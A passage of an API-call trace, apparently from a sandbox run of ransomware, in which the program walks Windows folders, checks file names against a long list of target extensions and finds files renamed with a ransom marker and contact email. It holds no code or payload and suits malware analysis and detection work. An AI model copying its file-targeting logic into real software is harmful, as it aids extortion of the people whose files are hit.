	[0165.196] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0165.196] lstrlenW (lpString=".dqy") returned 4
	[0165.196] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0165.196] lstrlenW (lpString=".dsn") returned 4
	[0165.196] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0165.196] lstrlenW (lpString=".dt") returned 3
	[0165.196] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0165.196] lstrlenW (lpString=".dtd") returned 4
	[0165.196] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0165.196] lstrlenW (lpString=".dwg") returned 4
	[0165.196] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0165.196] lstrlenW (lpString=".dwt") returned 4
	[0165.196] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0165.196] lstrlenW (lpString=".dx") returned 3
	[0165.196] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0165.196] lstrlenW (lpString=".dxf") returned 4
	[0165.196] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0165.196] lstrlenW (lpString=".edml") returned 5
	[0165.196] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0165.197] lstrlenW (lpString=".efd") returned 4
	[0165.197] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0165.197] lstrlenW (lpString=".elf") returned 4
	[0165.197] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0165.197] lstrlenW (lpString=".emf") returned 4
	[0165.197] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0165.197] lstrlenW (lpString=".emz") returned 4
	[0165.197] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0165.197] lstrlenW (lpString=".epf") returned 4
	[0165.197] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0165.197] lstrlenW (lpString=".eps") returned 4
	[0165.197] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0165.197] lstrlenW (lpString=".epsf") returned 5
	[0165.197] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0165.197] lstrlenW (lpString=".epsp") returned 5
	[0165.197] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0165.197] lstrlenW (lpString=".erf") returned 4
	[0165.197] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0165.197] lstrlenW (lpString=".exr") returned 4
	[0165.197] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0165.197] lstrlenW (lpString=".f4v") returned 4
	[0165.197] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0165.197] lstrlenW (lpString=".fido") returned 5
	[0165.197] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0165.197] lstrlenW (lpString=".flm") returned 4
	[0165.197] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0165.197] lstrlenW (lpString=".flv") returned 4
	[0165.197] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0165.197] lstrlenW (lpString=".frm") returned 4
	[0165.197] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0165.197] lstrlenW (lpString=".fxg") returned 4
	[0165.197] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0165.198] lstrlenW (lpString=".geo") returned 4
	[0165.198] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0165.198] lstrlenW (lpString=".gif") returned 4
	[0165.198] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0165.198] lstrlenW (lpString=".grs") returned 4
	[0165.198] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0165.198] lstrlenW (lpString=".gz") returned 3
	[0165.198] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0165.198] lstrlenW (lpString=".h") returned 2
	[0165.198] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0165.198] lstrlenW (lpString=".hdr") returned 4
	[0165.198] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0165.198] lstrlenW (lpString=".hpp") returned 4
	[0165.198] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0165.198] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803696f3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x803696f3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x805f2ce9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xffffe6ed, dwReserved1=0x3b7, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PARTNE~1.HTM")) returned 1
	[0165.198] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803696f3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x803696f3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x805f2ce9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xffffe6ed, dwReserved1=0x3b7, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PARTNE~1.HTM")) returned 0
	[0165.198] FindClose (in: hFindFile=0x6ac098 | out: hFindFile=0x6ac098) returned 1
	[0165.199] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.199] FindNextFileW (in: hFindFile=0x6abf98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x803b59d1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803b59d1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0165.199] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.199] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x803b59d1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803b59d1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe6ed, dwReserved1=0x3b7, cFileName=".", cAlternateFileName="")) returned 0x6abe18
	[0165.200] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x803b59d1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803b59d1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe6ed, dwReserved1=0x3b7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.200] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802d0cf2, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x802d0cf2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x802f6db0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0xffffe6ed, dwReserved1=0x3b7, cFileName="GetCurrentOOBE.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="GETCUR~1.HTM")) returned 1
	[0165.200] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803696f3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x803696f3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803b59d1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xffffe6ed, dwReserved1=0x3b7, cFileName="GetCurrentRollback.ini.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="GETCUR~2.HTM")) returned 1
	[0165.200] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80618e80, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80618e80, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80664379, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0xffffe6ed, dwReserved1=0x3b7, cFileName="PartnerSetupComplete.cmd.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PARTNE~1.HTM")) returned 1
	[0165.200] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x806d6b2c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x806d6b2c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x806d6b2c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0xffffe6ed, dwReserved1=0x3b7, cFileName="preoobe.cmd.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PREOOB~1.HTM")) returned 1
	[0165.200] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8068a77d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8068a77d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x806b08a4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xffffe6ed, dwReserved1=0x3b7, cFileName="SetupComplete.cmd.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPC~1.HTM")) returned 1
	[0165.200] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8068a77d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8068a77d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x806b08a4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xffffe6ed, dwReserved1=0x3b7, cFileName="SetupComplete.cmd.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPC~1.HTM")) returned 0
	[0165.200] FindClose (in: hFindFile=0x6abe18 | out: hFindFile=0x6abe18) returned 1
	[0165.201] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.201] FindNextFileW (in: hFindFile=0x6abf98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x803b59d1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803b59d1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0165.201] FindClose (in: hFindFile=0x6abf98 | out: hFindFile=0x6abf98) returned 1
	[0165.201] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.201] FindNextFileW (in: hFindFile=0x6abd18, lpFindFileData=0x3b4fcf8 | out: lpFindFileData=0x3b4fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0165.201] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.201] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6abc98
	[0165.202] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0165.202] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x803b59d1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803b59d1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0165.202] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.202] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0xfffff1b2, nFileSizeHigh=0xfffff1b2, nFileSizeLow=0x1ac7, dwReserved0=0xfffff1b2, dwReserved1=0x1ac9, cFileName="", cAlternateFileName="ꃸg\x08")) returned 0xffffffff
	[0165.202] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.202] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x176d05e8, ftLastAccessTime.dwHighDateTime=0x1d5638b, ftLastWriteTime.dwLowDateTime=0x176d05e8, ftLastWriteTime.dwHighDateTime=0x1d5638b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0165.202] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.202] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x176d05e8, ftLastAccessTime.dwHighDateTime=0x1d5638b, ftLastWriteTime.dwLowDateTime=0x176d05e8, ftLastWriteTime.dwHighDateTime=0x1d5638b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff1b2, dwReserved1=0x1ac9, cFileName=".", cAlternateFileName="")) returned 0x6ac098
	[0165.203] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x176d05e8, ftLastAccessTime.dwHighDateTime=0x1d5638b, ftLastWriteTime.dwLowDateTime=0x176d05e8, ftLastWriteTime.dwHighDateTime=0x1d5638b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff1b2, dwReserved1=0x1ac9, cFileName="..", cAlternateFileName="")) returned 1
	[0165.203] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x176d05e8, ftCreationTime.dwHighDateTime=0x1d5638b, ftLastAccessTime.dwLowDateTime=0x176d05e8, ftLastAccessTime.dwHighDateTime=0x1d5638b, ftLastWriteTime.dwLowDateTime=0x176d05e8, ftLastWriteTime.dwHighDateTime=0x1d5638b, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xfffff1b2, dwReserved1=0x1ac9, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0165.203] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80618e80, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80618e80, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80618e80, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xfffff1b2, dwReserved1=0x1ac9, cFileName="desktop.ini.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="DESKTO~1.HTM")) returned 1
	[0165.203] lstrlenW (lpString="desktop.ini.id-B4197730.[vip76@protonmail.com].html") returned 51
	[0165.203] lstrlenW (lpString=".1cd") returned 4
	[0165.203] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0165.203] lstrlenW (lpString=".3ds") returned 4
	[0165.203] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0165.203] lstrlenW (lpString=".3fr") returned 4
	[0165.203] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0165.203] lstrlenW (lpString=".3g2") returned 4
	[0165.203] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0165.203] lstrlenW (lpString=".3gp") returned 4
	[0165.203] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0165.203] lstrlenW (lpString=".7z") returned 3
	[0165.203] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0165.203] lstrlenW (lpString=".accda") returned 6
	[0165.203] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0165.204] lstrlenW (lpString=".accdb") returned 6
	[0165.204] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0165.204] lstrlenW (lpString=".accdc") returned 6
	[0165.204] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0165.204] lstrlenW (lpString=".accde") returned 6
	[0165.204] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0165.204] lstrlenW (lpString=".accdt") returned 6
	[0165.204] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0165.204] lstrlenW (lpString=".accdw") returned 6
	[0165.204] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0165.204] lstrlenW (lpString=".adb") returned 4
	[0165.204] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0165.204] lstrlenW (lpString=".adp") returned 4
	[0165.204] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0165.204] lstrlenW (lpString=".ai") returned 3
	[0165.204] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0165.204] lstrlenW (lpString=".ai3") returned 4
	[0165.204] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0165.204] lstrlenW (lpString=".ai4") returned 4
	[0165.204] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0165.204] lstrlenW (lpString=".ai5") returned 4
	[0165.204] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0165.204] lstrlenW (lpString=".ai6") returned 4
	[0165.204] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0165.204] lstrlenW (lpString=".ai7") returned 4
	[0165.204] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0165.204] lstrlenW (lpString=".ai8") returned 4
	[0165.204] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0165.204] lstrlenW (lpString=".anim") returned 5
	[0165.204] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0165.204] lstrlenW (lpString=".arw") returned 4
	[0165.204] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0165.204] lstrlenW (lpString=".as") returned 3
	[0165.204] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0165.205] lstrlenW (lpString=".asa") returned 4
	[0165.205] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0165.205] lstrlenW (lpString=".asc") returned 4
	[0165.205] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0165.205] lstrlenW (lpString=".ascx") returned 5
	[0165.205] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0165.205] lstrlenW (lpString=".asm") returned 4
	[0165.205] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0165.205] lstrlenW (lpString=".asmx") returned 5
	[0165.205] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0165.205] lstrlenW (lpString=".asp") returned 4
	[0165.205] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0165.205] lstrlenW (lpString=".aspx") returned 5
	[0165.205] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0165.205] lstrlenW (lpString=".asr") returned 4
	[0165.205] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0165.205] lstrlenW (lpString=".asx") returned 4
	[0165.205] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0165.205] lstrlenW (lpString=".avi") returned 4
	[0165.205] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0165.205] lstrlenW (lpString=".avs") returned 4
	[0165.205] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0165.205] lstrlenW (lpString=".backup") returned 7
	[0165.205] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0165.205] lstrlenW (lpString=".bak") returned 4
	[0165.205] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0165.205] lstrlenW (lpString=".bay") returned 4
	[0165.205] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0165.205] lstrlenW (lpString=".bd") returned 3
	[0165.205] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0165.205] lstrlenW (lpString=".bin") returned 4
	[0165.205] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0165.205] lstrlenW (lpString=".bmp") returned 4
	[0165.205] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0165.206] lstrlenW (lpString=".bz2") returned 4
	[0165.206] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0165.206] lstrlenW (lpString=".c") returned 2
	[0165.206] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0165.206] lstrlenW (lpString=".cdr") returned 4
	[0165.206] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0165.206] lstrlenW (lpString=".cer") returned 4
	[0165.206] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0165.206] lstrlenW (lpString=".cf") returned 3
	[0165.206] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0165.206] lstrlenW (lpString=".cfc") returned 4
	[0165.206] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0165.206] lstrlenW (lpString=".cfm") returned 4
	[0165.206] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0165.206] lstrlenW (lpString=".cfml") returned 5
	[0165.206] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0165.206] lstrlenW (lpString=".cfu") returned 4
	[0165.206] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0165.206] lstrlenW (lpString=".chm") returned 4
	[0165.206] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0165.206] lstrlenW (lpString=".cin") returned 4
	[0165.206] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0165.206] lstrlenW (lpString=".class") returned 6
	[0165.206] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0165.206] lstrlenW (lpString=".clx") returned 4
	[0165.206] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0165.206] lstrlenW (lpString=".config") returned 7
	[0165.206] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0165.206] lstrlenW (lpString=".cpp") returned 4
	[0165.206] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0165.206] lstrlenW (lpString=".cr2") returned 4
	[0165.206] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0165.206] lstrlenW (lpString=".crt") returned 4
	[0165.206] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0165.206] lstrlenW (lpString=".crw") returned 4
	[0165.207] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0165.207] lstrlenW (lpString=".cs") returned 3
	[0165.207] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0165.207] lstrlenW (lpString=".css") returned 4
	[0165.207] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0165.207] lstrlenW (lpString=".csv") returned 4
	[0165.207] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0165.207] lstrlenW (lpString=".cub") returned 4
	[0165.207] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0165.207] lstrlenW (lpString=".dae") returned 4
	[0165.207] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0165.207] lstrlenW (lpString=".dat") returned 4
	[0165.207] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0165.207] lstrlenW (lpString=".db") returned 3
	[0165.207] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0165.207] lstrlenW (lpString=".dbf") returned 4
	[0165.207] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0165.207] lstrlenW (lpString=".dbx") returned 4
	[0165.207] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0165.207] lstrlenW (lpString=".dc3") returned 4
	[0165.207] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0165.207] lstrlenW (lpString=".dcm") returned 4
	[0165.207] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0165.207] lstrlenW (lpString=".dcr") returned 4
	[0165.207] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0165.207] lstrlenW (lpString=".der") returned 4
	[0165.207] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0165.207] lstrlenW (lpString=".dib") returned 4
	[0165.207] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0165.207] lstrlenW (lpString=".dic") returned 4
